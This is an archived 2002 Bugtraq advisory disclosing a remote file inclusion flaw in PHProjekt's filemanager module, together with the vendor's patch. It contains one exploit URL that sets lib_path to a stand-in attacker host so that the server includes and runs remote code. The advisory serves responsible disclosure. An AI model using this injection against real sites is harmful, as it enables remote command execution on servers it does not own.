Home page logo
/

bugtraq logo Bugtraq mailing list archives

Command execution in phprojekt.
From: "b0iler _" <b0iler () hotmail com>
Date: Wed, 13 Mar 2002 08:54:39 -0700

"PHProjekt is a modular application for the coordination of group activities and to share informations and document via intranet and internet. Components of PHProjekt: Group calendar, project management, time card system, file management, contact manager, mail client and 9 other modules ...(feature list). PHProjekt is available for over 20 languages and 5 databases. of course - open source - PHProjekt is free software. Actual version: 3.1a (02.02.2002)"

This script is a content management system for websites, much like slashcode or phpnuke.

There problem is in the module filemanager, where you can directly access the module and then define values which would have been defined with the script's global configuration file had the module not be accessed directly. The first line in filemanager/filemanager_forms.php is:

include_once("$lib_path/access_form.inc.php");

so an attacker could go to http://site.com/filemanager/filemanager_forms.php?lib_path=http://attacker.com/nasty/scripts

and the script at http://hacker.com/nasty/scripts/access_form.inc.php would get include()'d. I am sure you have seen the remotely included scripts with the passthru() example many times.

If php is compiled with all_url_fopen off then an attacker would have a harder time exploitting this. I can only see guessing the path to an uploaded script as the only other way of exploiting this (if magic_quotes is on - else null byte can do some damage). I believe it is secure since if they upload a script with the name lib_path the path (ex. /tmp/random/access_form.inc.php) will be stored in $lib_path. this would make the include_once try to include /tmp/random/access_form.inc.php/access_form.inc.php which would not work. PHP will delete this /tmp/randomcharacters/access_form.php when it ends, so it cannot be sent as lib_path once the error msg (if display_errors is on) tells the attacker the path to the script. I heard concerns about this from someone running php who wantted a secure install and configuration.

It would be best if all the modules included the global configuration file as their first line and double check to make sure no variables are left to other scripts passing them. Or some sort of modules.php script like phpnuke has wouldn't be a bad idea ether and it locks security by making sure the script isn't called directly.

The author took this advice and added this as the first line in the module:

if (!defined("lib_included")) { die("Please use index.php!"); }

Since I believe constants cannot be defined with GPC.

The author was contacted a few days ago and was very quick to respond. They also took the security problem seriously, got out a patch asap, and notified their mailing list. The author says the script will be in for a rewrite to help improve overall security and structure. New version will be out shortly.


_________________________________________________________________
MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx


  By Date           By Thread  

Current thread:
  • Command execution in phprojekt. b0iler _ (Mar 13)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault